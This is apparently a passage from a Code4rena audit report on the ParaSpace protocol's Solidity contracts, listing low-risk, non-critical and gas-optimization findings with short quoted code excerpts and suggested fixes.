The following wardens also submitted reports: Awesome, unforgiven, brgltd, Aymen0909, rbserver, Kaiziron, Deekshith99, cryptostellar5, joestakey, Diana, ignacio, pashov, jadezti, ayeslick, delfin454000, Dravee, cryptonue, 0xNazgul, ladboy233, PaludoX0, 0x52, Deivitto, yjrwkk, gz627, jayphbee, 0x4non, gzeon, nadin, pedr02b2, BRONZEDISC, ksk2345, Jeiwan, i_got_hacked, xiaoming90, imare, B2, ronnyx2017, __141345__, Mukund, KingNFT, SmartSek, 0xAgro, erictee, shark, 0xackermann, 9svR6w, helios, csanuragjain, oyc_109, 0xSmartContract, rvierdiiev, HE1M, ahmedov, ch0bu, pzeus, Bnke0x0, Rolezn, cccz, martin, Lambda, chrisdior4, datapunk, pavankv, Secureverse, RaymondFam, nicobevi, Sathish9098, and kankodu.
Summary
Low Risk Issues
| Issue | Instances | |
|---|---|---|
| [L‑01] | Misleading variable naming/documentation | 1 |
| [L‑02] | Wrong interest during leap years | 1 |
| [L‑03] | Fallback oracle may break with future NFTs | 1 |
| [L‑04] | tokenURI() does not follow EIP-721 |
2 |
| [L‑05] | Empty receive()/payable fallback() function does not authenticate requests |
1 |
| [L‑06] | abi.encodePacked() should not be used with dynamic types when passing the result to a hash function such as keccak256() |
1 |
| [L‑07] | Use Ownable2Step rather than Ownable |
1 |
| [L‑08] | Open TODOs | 3 |
| [L‑09] | NatSpec is incomplete | 39 |
Total: 50 instances over 9 issues
Non-critical Issues
| Issue | Instances | |
|---|---|---|
| [N‑01] | EIP-1967 storage slots should use the eip1967.proxy prefix |
2 |
| [N‑02] | Input addresse to _safeTransferETH() should be payable |
1 |
| [N‑03] | Functions that must be overridden should be virtual, with no body | 2 |
| [N‑04] | Inconsistent safe transfer library used | 1 |
| [N‑05] | Upgradeable contract is missing a __gap[50] storage variable to allow for new storage variables in later versions |
1 |
| [N‑06] | Import declarations should import specific identifiers, rather than the whole file | 20 |
| [N‑07] | Missing initializer modifier on constructor |
1 |
| [N‑08] | Duplicate import statements | 9 |
| [N‑09] | The nonReentrant modifier should occur before all other modifiers |
25 |
| [N‑10] | override function arguments that are unused should have the variable name removed or commented out to avoid compiler warnings |
2 |
| [N‑11] | 2**<n> - 1 should be re-written as type(uint<n>).max |
3 |
| [N‑12] | constants should be defined rather than using magic numbers |
16 |
| [N‑13] | Numeric values having to do with time should use time units for readability | 1 |
| [N‑14] | Use bit shifts in an imutable variable rather than long bit masks of a single bit, for readability | 1 |
| [N‑15] | Events that mark critical parameter changes should contain both the old and the new value | 3 |
| [N‑16] | Use a more recent version of solidity | 4 |
| [N‑17] | Use a more recent version of solidity | 16 |
| [N‑18] | Expressions for constant values such as a call to keccak256(), should use immutable rather than constant |
1 |
| [N‑19] | Use scientific notation (e.g. 1e18) rather than exponentiation (e.g. 10**18) |
1 |
| [N‑20] | Inconsistent spacing in comments | 33 |
| [N‑21] | Lines are too long | 2 |
| [N‑22] | Variable names that consist of all capital letters should be reserved for constant/immutable variables |
3 |
| [N‑23] | Not using the named return variables anywhere in the function is confusing | 18 |
| [N‑24] | Duplicated require()/revert() checks should be refactored to a modifier or function |
32 |
| [N‑25] | Consider using delete rather than assigning zero to clear values |
2 |
| [N‑26] | Contracts should have full test coverage | 1 |
| [N‑27] | Large or complicated code bases should implement fuzzing tests | 1 |
| [N‑28] | Typos | 3 |
Total: 205 instances over 28 issues
[L‑01] Misleading variable naming/documentation
The recieveEthAsWeth argument, if true, will do what the comment says: convert WETH to ETH, even though the variable name says the opposite. There is no way to know which one is right, without reading the code, which will lead to problems for callers of the external version of the function, decreaseUniswapV3Liquidity().
There is 1 instance of this issue:
File: /paraspace-core/contracts/protocol/tokenization/NTokenUniswapV3.sol
41 /**
42 * @notice A function that decreases the current liquidity.
43 * @param tokenId The id of the erc721 token
44 * @param liquidityDecrease The amount of liquidity to remove of LP
45 * @param amount0Min The minimum amount to remove of token0
46 * @param amount1Min The minimum amount to remove of token1
47 * @param receiveEthAsWeth If convert weth to ETH
48 * @return amount0 The amount received back in token0
49 * @return amount1 The amount returned back in token1
50 */
51 function _decreaseLiquidity(
52 address user,
53 uint256 tokenId,
54 uint128 liquidityDecrease,
55 uint256 amount0Min,
56 uint256 amount1Min,
57 bool receiveEthAsWeth
58: ) internal returns (uint256 amount0, uint256 amount1) {[L‑02] Wrong interest during leap years
The calculateLinearInterest() function uses SECONDS_PER_YEAR, which is a constant, so the constant will have the wrong value during leap years. While the function is out of scope, it’s eventually called by PoolCore:getNormalizedIncome(), which is in scope.
There is 1 instance of this issue:
File: /paraspace-core/contracts/protocol/libraries/math/MathUtils.sol
23 function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
24 internal
25 view
26 returns (uint256)
27 {
28 //solium-disable-next-line
29 uint256 result = rate *
30 (block.timestamp - uint256(lastUpdateTimestamp));
31 unchecked {
32 result = result / SECONDS_PER_YEAR;
33 }
34
35 return WadRayMath.RAY + result;
36: }[L‑03] Fallback oracle may break with future NFTs
In order for the fallback oracle to fall back to the Bend DAO oracle, the NFT in question must say that it in fact supportsInterface(0x80ac58cd). The EIP-721 standard says that the implementer MUST do this, and both Openzeppelin’s and Solmate’s impelemntations do, but in the future the ParaSpace protocol may want to support a token that does not. I believe this deserves low rather than non-critical, because the damage won’t be known until one of the other oracles fail. The fallback oracle is supposed to be the last resort before the protocol is unable to price/liquidate anything, so if the issue isn’t caught before then, things could get stuck at the worst possible time. I would suggest to require() that the NFT supports the NFT at the point where it’s added, to avoid having to even think about this edge case in the future.
There is 1 instance of this issue:
File: /paraspace-core/contracts/misc/ParaSpaceFallbackOracle.sol
35 try IERC165(asset).supportsInterface(INTERFACE_ID_ERC721) returns (
36 bool supported
37 ) {
38 if (supported == true) {
39 return INFTOracle(BEND_DAO).getAssetPrice(asset);
40 }
41: } catch {}[L‑04] tokenURI() does not follow EIP-721
The EIP states that tokenURI() “Throws if _tokenId is not a valid NFT”, which the code below does not do. If the NFT has not yet been minted, tokenURI() should revert.
There are 2 instances of this issue. (For in-depth details on this and all further issues with multiple instances, please see the warden’s full report.)
[L‑05] Empty receive()/payable fallback() function does not authenticate requests
If the intention is for the Ether to be used, the function should call another function, otherwise it should revert (e.g. require(msg.sender == address(weth))). Having no access control on the function means that someone may send Ether to the contract, and have no way to get anything back out, which is a loss of funds. If the concern is having to spend a small amount of gas to check the sender against an immutable address, the code should at least have a function to rescue unused Ether.
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/tokenization/NTokenUniswapV3.sol
149: receive() external payable {}[L‑06] abi.encodePacked() should not be used with dynamic types when passing the result to a hash function such as keccak256()
Use abi.encode() instead which will pad items to 32 bytes, which will prevent hash collisions (e.g. abi.encodePacked(0x123,0x456) => 0x123456 => abi.encodePacked(0x1,0x23456), but abi.encode(0x123,0x456) => 0x0...1230...456). “Unless there is a compelling reason, abi.encode should be preferred”. If there is only one argument to abi.encodePacked() it can often be cast to bytes() or bytes32() instead.
If all arguments are strings and or bytes, bytes.concat() should be used instead.
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/libraries/logic/ValidationLogic.sol
1115 bytes32 typeHash = keccak256(
1116 abi.encodePacked(
1117 "Credit(address token,uint256 amount,bytes orderId)"
1118 )
1119: );[L‑07] Use Ownable2Step rather than Ownable
Ownable2Step and Ownable2StepUpgradeable prevent the contract ownership from mistakenly being transferred to an address that cannot handle it (e.g. due to a typo in the address), by requiring that the recipient of the owner permissions actively accept via a contract call of its own.
There is 1 instance of this issue:
File: paraspace-core/contracts/ui/WPunkGateway.sol
19 contract WPunkGateway is
20 ReentrancyGuard,
21 IWPunkGateway,
22 IERC721Receiver,
23: OwnableUpgradeable[L‑08] Open TODOs
Code architecture, incentives, and error handling/reporting questions/issues should be resolved before deployment.
There are 3 instances of this issue.
[L‑09] NatSpec is incomplete
There are 39 instances of this issue.
[N‑01] EIP-1967 storage slots should use the eip1967.proxy prefix
Using the prefix makes it easier to confirm that you are following the standard, and not altering the behavior in some incompatible way.
There are 2 instances of this issue.
[N‑02] Input addresse to _safeTransferETH() should be payable
While it doesn’t affect any contract operation, it adds a degree of type safety during compilation, and is done by OpenZeppelin(https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/dependencies/openzeppelin/contracts/Address.sol#L60-L65).
There is 1 instance of this issue:
File: /paraspace-core/contracts/protocol/tokenization/NTokenUniswapV3.sol
144: function _safeTransferETH(address to, uint256 value) internal {[N‑03] Functions that must be overridden should be virtual, with no body
There are 2 instances of this issue.
[N‑04] Inconsistent safe transfer library used
Most places in the code use GPv2SafeERC20, but this one uses SafeERC20. All areas should use the same libraries.
There is 1 instance of this issue:
File: /paraspace-core/contracts/protocol/libraries/logic/MarketplaceLogic.sol
16: import {SafeERC20} from "../../../dependencies/openzeppelin/contracts/SafeERC20.sol";[N‑05] Upgradeable contract is missing a __gap[50] storage variable to allow for new storage variables in later versions
See this link for a description of this storage variable. While some contracts may not currently be sub-classed, adding the variable now protects against forgetting to add it in the future.
There is 1 instance of this issue:
File: paraspace-core/contracts/ui/WPunkGateway.sol
19 contract WPunkGateway is
20 ReentrancyGuard,
21 IWPunkGateway,
22 IERC721Receiver,
23: OwnableUpgradeable[N‑06] Import declarations should import specific identifiers, rather than the whole file
Using import declarations of the form import {<identifier_name>} from "some/file.sol" avoids polluting the symbol namespace making flattened files smaller, and speeds up compilation.
There are 20 instances of this issue.
[N‑07] Missing initializer modifier on constructor
OpenZeppelin recommends that the initializer modifier be applied to constructors in order to avoid potential griefs, social engineering, or exploits. Ensure that the modifier is applied to the implementation contract. If the default constructor is currently being used, it should be changed to be an explicit one with the modifier applied.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
55: contract NFTFloorOracle is Initializable, AccessControl, INFTFloorOracle {[N‑08] Duplicate import statements
There are 9 instances of this issue.
[N‑09] The nonReentrant modifier should occur before all other modifiers
This is a best-practice to protect against reentrancy in other modifiers.
There are 25 instances of this issue.
[N‑10] override function arguments that are unused should have the variable name removed or commented out to avoid compiler warnings
There are 2 instances of this issue.
[N‑11] 2**<n> - 1 should be re-written as type(uint<n>).max
Earlier versions of solidity can use uint<n>(-1) instead. Expressions not including the - 1 can often be re-written to accomodate the change (e.g. by using a > rather than a >=, which will also save some gas).
There are 3 instances of this issue.
[N‑12] constants should be defined rather than using magic numbers
Even assembly can benefit from using readable constants instead of hex/numeric literals.
There are 16 instances of this issue.
[N‑13] Numeric values having to do with time should use time units for readability
There are units for seconds, minutes, hours, days, and weeks, and since they’re defined, they should be used.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
/// @audit 1800
12: uint128 constant EXPIRATION_PERIOD = 1800;[N‑14] Use bit shifts in an imutable variable rather than long bit masks of a single bit, for readability
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/UniswapV3OracleWrapper.sol
21: uint256 internal constant Q128 = 0x100000000000000000000000000000000;[N‑15] Events that mark critical parameter changes should contain both the old and the new value
This should especially be done if the new value is not required to be different from the old value.
There are 3 instances of this issue.
[N‑16] Use a more recent version of solidity
Use a solidity version of at least 0.8.12 to get string.concat() to be used instead of abi.encodePacked(<str>,<str>).
There are 4 instances of this issue.
[N‑17] Use a more recent version of solidity
Use a solidity version of at least 0.8.13 to get the ability to use using for with a list of free functions.
There are 16 instances of this issue.
[N‑18] Expressions for constant values such as a call to keccak256(), should use immutable rather than constant
While it doesn’t save any gas because the compiler knows that developers often make this mistake, it’s still best to use the right tool for the task at hand. There is a difference between constant variables and immutable variables, and they should each be used in their appropriate contexts. constants should be used for literal values written into the code, and immutable variables should be used for expressions, or values calculated in, or passed into the constructor.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
70: bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");[N‑19] Use scientific notation (e.g. 1e18) rather than exponentiation (e.g. 10**18)
While the compiler knows to optimize away the exponentiation, it’s still better coding practice to use idioms that do not require compiler optimization, if they exist.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/UniswapV3OracleWrapper.sol
245: ((oracleData.token0Price * (10**18)) /[N‑20] Inconsistent spacing in comments
Some lines use // x and some use //x. The instances below point out the usages that don’t follow the majority, within each file.
There are 33 instances of this issue.
[N‑21] Lines are too long
Usually lines in source code are limited to 80 characters. Today’s screens are much larger so it’s reasonable to stretch this in some cases. Since the files will most likely reside in GitHub, and GitHub starts using a scroll bar in all cases when the length is over 164 characters, the lines below should be split when they reach that length.
There are 2 instances of this issue.
[N‑22] Variable names that consist of all capital letters should be reserved for constant/immutable variables
If the variable needs to be different based on which class it comes from, a view/pure function should be used instead (e.g. like this).
There are 3 instances of this issue.
[N‑23] Not using the named return variables anywhere in the function is confusing
Consider changing the variable to be an unnamed one.
There are 18 instances of this issue.
[N‑24] Duplicated require()/revert() checks should be refactored to a modifier or function
The compiler will inline the function, which will avoid JUMP instructions usually associated with functions.
There are 32 instances of this issue.
[N‑25] Consider using delete rather than assigning zero to clear values
The delete keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic.
There are 2 instances of this issue.
[N‑26] Contracts should have full test coverage
While 100% code coverage does not guarantee that there are no bugs, it often will catch easy-to-find bugs, and will ensure that there are fewer regressions when the code invariably has to be modified. Furthermore, in order to get full coverage, code authors will often have to re-organize their code so that it is more modular, so that each component can be tested separately, which reduces interdependencies between modules and layers, and makes for code that is easier to reason about and audit.
There is 1 instance of this issue:
- What is the overall line coverage percentage provided by your tests?: 85[N‑27] Large or complicated code bases should implement fuzzing tests
Large code bases, or code with lots of inline-assembly, complicated math, or complicated interactions between multiple contracts, should implement fuzzing tests. Fuzzers such as Echidna require the test writer to come up with invariants which should not be violated under any circumstances, and the fuzzer tests various inputs and function calls to ensure that the invariants always hold. Even code with 100% code coverage can still have bugs due to the order of the operations a user performs, and fuzzers, with properly and extensively-written invariants, can close this testing gap significantly.
There is 1 instance of this issue:
- How many contracts are in scope?: 32
- Total SLoC for these contracts?: 8408
- How many external imports are there?: 12
- How many separate interfaces and struct definitions are there for the contracts within scope?: 44 interfaces, 35 struct definitions
- Does most of your code generally use composition or inheritance?: Yes
- How many external calls?: 306[N‑28] Typos
There are 3 instances of this issue.
Excluded Findings
These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness.
Low Risk Issues
| Issue | Instances | |
|---|---|---|
| [L‑10] | safeApprove() is deprecated |
1 |
| [L‑11] | Missing checks for address(0x0) when assigning values to address state variables |
4 |
Total: 5 instances over 2 issues
Non-critical Issues
| Issue | Instances | |
|---|---|---|
| [N‑29] | Return values of approve() not checked |
2 |
| [N‑30] | public functions not called by the contract should be declared external instead |
3 |
| [N‑31] | constants should be defined rather than using magic numbers |
2 |
| [N‑32] | Event is missing indexed fields |
8 |
Total: 15 instances over 4 issues
[L‑10] safeApprove() is deprecated
Deprecated in favor of safeIncreaseAllowance() and safeDecreaseAllowance(). If only setting the initial allowance to the value that means infinite, safeIncreaseAllowance() can be used instead. The function may currently work, but if a bug is found in this version of OpenZeppelin, and the version that you’re forced to upgrade to no longer has this function, you’ll encounter unnecessary delays in porting and testing replacement contracts.
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/libraries/logic/MarketplaceLogic.sol
/// @audit (valid but excluded finding)
555: IERC20(token).safeApprove(operator, type(uint256).max);[L‑11] Missing checks for address(0x0) when assigning values to address state variables
There are 4 instances of this issue.
[N‑29] Return values of approve() not checked
Not all IERC20 implementations revert() when there’s a failure in approve(). The function signature has a boolean return value and they indicate errors that way instead. By not checking the return value, operations that should have marked as failed, may potentially go through without actually approving anything
There are 2 instances of this issue.
[N‑30] public functions not called by the contract should be declared external instead
Contracts are allowed to override their parents’ functions and change the visibility from external to public.
There are 3 instances of this issue.
[N‑31] constants should be defined rather than using magic numbers
Even assembly can benefit from using readable constants instead of hex/numeric literals.
There are 2 instances of this issue.
[N‑32] Event is missing indexed fields
Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it’s not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.
There are 8 instances of this issue.
Gas Optimizations
For this contest, 15 reports were submitted by wardens detailing gas optimizations. The report highlighted below by IllIllI received the top score from the judge.
The following wardens also submitted reports: rjs, c3phas, PaludoX0, Deivitto, Dravee, B2, cyberinn, _Adam, saneryee, Rolezn, chrisdior4, ahmedov, RaymondFam, and Sathish9098.
Summary
Gas Optimizations
| Issue | Instances | Total Gas Saved | |
|---|---|---|---|
| [G‑01] | Save gas by checking against default WETH address | 1 | 2200 |
| [G‑02] | Save gas by batching NToken operations |
2 | 200 |
| [G‑03] | Using storage instead of memory for structs/arrays saves gas |
5 | 21000 |
| [G‑04] | Multiple accesses of a mapping/array should use a local variable cache | 4 | 168 |
| [G‑05] | The result of function calls should be cached rather than re-calling the function | 2 | - |
| [G‑06] | internal functions only called once can be inlined to save gas |
15 | 300 |
| [G‑07] | Add unchecked {} for subtractions where the operands cannot underflow because of a previous require() or if-statement |
1 | 85 |
| [G‑08] | ++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops |
49 | 2940 |
| [G‑09] | require()/revert() strings longer than 32 bytes cost extra gas |
14 | - |
| [G‑10] | Optimize names to save gas | 23 | 506 |
| [G‑11] | ++i costs less gas than i++, especially when it’s used in for-loops (--i/i-- too) |
1 | 5 |
| [G‑12] | Splitting require() statements that use && saves gas |
13 | 39 |
| [G‑13] | Usage of uints/ints smaller than 32 bytes (256 bits) incurs overhead |
5 | - |
| [G‑14] | Using private rather than public for constants, saves gas |
1 | - |
| [G‑15] | Inverting the condition of an if-else-statement wastes gas |
2 | - |
| [G‑16] | require() or revert() statements that check input arguments should be at the top of the function |
1 | - |
| [G‑17] | Use custom errors rather than revert()/require() strings to save gas |
202 | - |
| [G‑18] | Functions guaranteed to revert when called by normal users can be marked payable |
66 | 1386 |
| [G‑19] | Don’t use _msgSender() if not supporting EIP-2771 |
7 | 112 |
Total: 414 instances over 19 issues with 28941 gas saved
Gas totals use lower bounds of ranges and count two iterations of each for-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions. The table above as well as its gas numbers do not include any of the excluded findings.
[G‑01] Save gas by checking against default WETH address
You can save a Gcoldsload (2100 gas) in the address provider, plus the 100 gas overhead of the external call, for every receive(), by creating an immutable DEFAULT_WETH variable which will store the initial WETH address, and change the require statement to be: require(msg.ender == DEFAULT_WETH || msg.sender == <etc>).
There is 1 instance of this issue:
File: /paraspace-core/contracts/protocol/pool/PoolCore.sol
802 receive() external payable {
803 require(
804 msg.sender ==
805 address(IPoolAddressesProvider(ADDRESSES_PROVIDER).getWETH()),
806 "Receive not allowed"
807 );
808: }[G‑02] Save gas by batching NToken operations
Every external call made to a contract incurs at least 100 gas of overhead. Since all of the IDs belong to the same NToken, you can prevent this overhead by having a safeTransferFromBatch() function, or by implementing EIP-1155 support, which natively supports batching.
There are 2 instances of this issue. (For in-depth details on this and all further gas optimizations with multiple instances, please see the warden’s full report.)
[G‑03] Using storage instead of memory for structs/arrays saves gas
When fetching data from a storage location, assigning the data to a memory variable causes all fields of the struct/array to be read from storage, which incurs a Gcoldsload (2100 gas) for each field of the struct/array. If the fields are read from the new memory variable, they incur an additional MLOAD rather than a cheap stack read. Instead of declearing the variable with the memory keyword, declaring the variable with the storage keyword and caching any fields that need to be re-read in stack variables, will be much cheaper, only incuring the Gcoldsload for the fields actually read. The only time it makes sense to read the whole struct/array into a memory variable, is if the full struct/array is being returned by the function, is being passed to a function that requires memory, or if the array/struct is being read from another memory array/struct
There are 5 instances of this issue.
[G‑04] Multiple accesses of a mapping/array should use a local variable cache
The instances below point to the second+ access of a value inside a mapping/array, within a function. Caching a mapping’s value in a local storage or calldata variable when the value is accessed multiple times, saves ~42 gas per access due to not having to recalculate the key’s keccak256 hash (Gkeccak256 - 30 gas) and that calculation’s associated stack operations. Caching an array’s struct avoids recalculating the array offsets into memory/calldata
There are 4 instances of this issue.
[G‑05] The result of function calls should be cached rather than re-calling the function
The instances below point to the second+ call of the function within a single function.
There are 2 instances of this issue.
[G‑06] internal functions only called once can be inlined to save gas
Not inlining costs 20 to 40 gas because of two extra JUMP instructions and additional stack operations needed for function calls.
There are 15 instances of this issue.
[G‑07] Add unchecked {} for subtractions where the operands cannot underflow because of a previous require() or if-statement
require(a <= b); x = b - a => require(a <= b); unchecked { x = b - a }
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/libraries/logic/LiquidationLogic.sol
/// @audit if-condition on line 874
877: msg.value - vars.actualLiquidationAmount[G‑08] ++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops
The unchecked keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are. This saves 30-40 gas per loop.
There are 49 instances of this issue.
[G‑09] require()/revert() strings longer than 32 bytes cost extra gas
Each extra memory word of bytes past the original 32 incurs an MSTORE which costs 3 gas.
There are 14 instances of this issue.
[G‑10] Optimize names to save gas
public/external function names and public member variable names can be optimized to save gas. See this link for an example of how it works. Below are the interfaces/abstract contracts that can be optimized so that the most frequently-called functions use the least amount of gas possible during method lookup. Method IDs that have two leading zero bytes can save 128 gas each during deployment, and renaming functions to have lower method IDs will save 22 gas per call, per sorted position shifted.
There are 23 instances of this issue.
[G‑11] ++i costs less gas than i++, especially when it’s used in for-loops (--i/i-- too)
Saves 5 gas per loop.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
450: j--;[G‑12] Splitting require() statements that use && saves gas
See this issue which describes the fact that there is a larger deployment gas cost, but with enough runtime calls, the change ends up being cheaper by 3 gas.
There are 13 instances of this issue.
[G‑13] Usage of uints/ints smaller than 32 bytes (256 bits) incurs overhead
When using elements that are smaller than 32 bytes, your contract’s gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.
https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html
Each operation involving a uint8 costs an extra 22-28 gas (depending on whether the other operand is also a variable of type uint8) as compared to ones involving uint256, due to the compiler having to clear the higher bits of the memory word before operating on the uint8, as well as the associated stack operations of doing so. Use a larger size then downcast where needed.
There are 5 instances of this issue.
[G‑14] Using private rather than public for constants, saves gas
If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves 3406-3606 gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it’s used, and not adding another entry to the method ID table.
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/tokenization/base/MintableIncentivizedERC721.sol
73: bool public immutable ATOMIC_PRICING;[G‑15] Inverting the condition of an if-else-statement wastes gas
Flipping the true and false blocks instead saves 3 gas.
There are 2 instances of this issue.
[G‑16] require() or revert() statements that check input arguments should be at the top of the function
Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gcoldsload (2100 gas*) in a function that may ultimately revert in the unhappy case.
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/pool/PoolParameters.sol
/// @audit expensive op on line 212
214: require(value != 0, Errors.INVALID_AMOUNT);[G‑17] Use custom errors rather than revert()/require() strings to save gas
Custom errors are available from solidity version 0.8.4. Custom errors save ~50 gas each time they’re hit by avoiding having to allocate and store the revert string. Not defining the strings also save deployment gas.
There are 202 instances of this issue.
[G‑18] Functions guaranteed to revert when called by normal users can be marked payable
If a function modifier such as onlyOwner is used, the function will revert if a normal user tries to pay the function. Marking the function as payable will lower the gas cost for legitimate callers because the compiler will not include checks for whether a payment was provided. The extra opcodes avoided are
CALLVALUE(2),DUP1(3),ISZERO(3),PUSH2(3),JUMPI(10),PUSH1(3),DUP1(3),REVERT(0),JUMPDEST(1),POP(2), which costs an average of about 21 gas per call to the function, in addition to the extra deployment cost.
There are 66 instances of this issue.
[G‑19] Don’t use _msgSender() if not supporting EIP-2771
Use msg.sender if the code does not implement EIP-2771 trusted forwarder support.
There are 7 instances of this issue.
Excluded Findings
These findings are excluded from awards calculations because there are publicly-available automated tools that find them. The valid ones appear here for completeness.
Gas Optimizations
| Issue | Instances | Total Gas Saved | |
|---|---|---|---|
| [G‑20] | Using calldata instead of memory for read-only arguments in external functions saves gas |
34 | 4080 |
| [G‑21] | State variables should be cached in stack variables rather than re-reading them from storage | 1 | 97 |
| [G‑22] | <array>.length should not be looked up in every loop of a for-loop |
41 | 123 |
| [G‑23] | Using bools for storage incurs overhead |
1 | 17100 |
| [G‑24] | Using > 0 costs more gas than != 0 when used on a uint in a require() statement |
1 | 6 |
| [G‑25] | ++i costs less gas than i++, especially when it’s used in for-loops (--i/i-- too) |
57 | 285 |
| [G‑26] | Using private rather than public for constants, saves gas |
8 | - |
| [G‑27] | Division by two should use bit shifting | 2 | 40 |
| [G‑28] | Use custom errors rather than revert()/require() strings to save gas |
15 | - |
Total: 160 instances over 9 issues with 21731 gas saved
Gas totals use lower bounds of ranges and count two iterations of each for-loop. All values above are runtime, not deployment, values; deployment values are listed in the individual issue descriptions.
[G‑20] Using calldata instead of memory for read-only arguments in external functions saves gas
When a function with a memory array is called externally, the abi.decode() step has to use a for-loop to copy each index of the calldata to the memory index. Each iteration of this for-loop costs at least 60 gas (i.e. 60 * <mem_array>.length). Using calldata directly, obliviates the need for such a loop in the contract code and runtime execution. Note that even if an interface defines a function as having memory arguments, it’s still valid for implementation contracs to use calldata arguments instead.
If the array is passed to an internal function which passes the array to another internal function where the array is modified and therefore memory is used in the external call, it’s still more gass-efficient to use calldata when the external function uses modifiers, since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one.
Note that I’ve also flagged instances where the function is public but can be marked as external since it’s not called by the contract, and cases where a constructor is involved.
There are 34 instances of this issue.
[G‑21] State variables should be cached in stack variables rather than re-reading them from storage
The instances below point to the second+ access of a state variable within a function. Caching of a state variable replaces each Gwarmaccess (100 gas) with a much cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
/// @audit assetPriceMap[_asset].twap on line 405 - (valid but excluded finding)
426: return (false, assetPriceMap[_asset].twap);[G‑22] <array>.length should not be looked up in every loop of a for-loop
The overheads outlined below are PER LOOP, excluding the first loop
- storage arrays incur a Gwarmaccess (100 gas)
- memory arrays use
MLOAD(3 gas) - calldata arrays use
CALLDATALOAD(3 gas)
Caching the length changes each of these to a DUP<N> (3 gas), and gets rid of the extra DUP<N> needed to store the stack offset
There are 41 instances of this issue.
[G‑23] Using bools for storage incurs overhead
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.Use uint256(1) and uint256(2) for true/false to avoid a Gwarmaccess (100 gas) for the extra SLOAD, and to avoid Gsset (20000 gas) when changing from false to true, after having been true in the past
There is 1 instance of this issue:
File: paraspace-core/contracts/protocol/tokenization/base/MintableIncentivizedERC721.sol
/// @audit (valid but excluded finding)
73: bool public immutable ATOMIC_PRICING;[G‑24] Using > 0 costs more gas than != 0 when used on a uint in a require() statement
This change saves 6 gas per instance. The optimization works until solidity version 0.8.13 where there is a regression in gas costs.
There is 1 instance of this issue:
File: paraspace-core/contracts/misc/NFTFloorOracle.sol
/// @audit (valid but excluded finding)
356: require(_twap > 0, "NFTOracle: price should be more than 0");[G‑25] ++i costs less gas than i++, especially when it’s used in for-loops (--i/i-- too)
Saves 5 gas per loop.
There are 57 instances of this issue.
[G‑26] Using private rather than public for constants, saves gas
If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves 3406-3606 gas in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it’s used, and not adding another entry to the method ID table.
There are 8 instances of this issue.
[G‑27] Division by two should use bit shifting
<x> / 2 is the same as <x> >> 1. While the compiler uses the SHR opcode to accomplish both, the version that uses division incurs an overhead of 20 gas due to JUMPs to and from a compiler utility function that introduces checks which can be avoided by using unchecked {} around the division by two.
There are 2 instances of this issue.
[G‑28] Use custom errors rather than revert()/require() strings to save gas
Custom errors are available from solidity version 0.8.4. Custom errors save ~50 gas each time they’re hit by avoiding having to allocate and store the revert string. Not defining the strings also save deployment gas.
There are 15 instances of this issue.
Disclosures
C4 is an open organization governed by participants in the community.
C4 Contests incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Contest submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.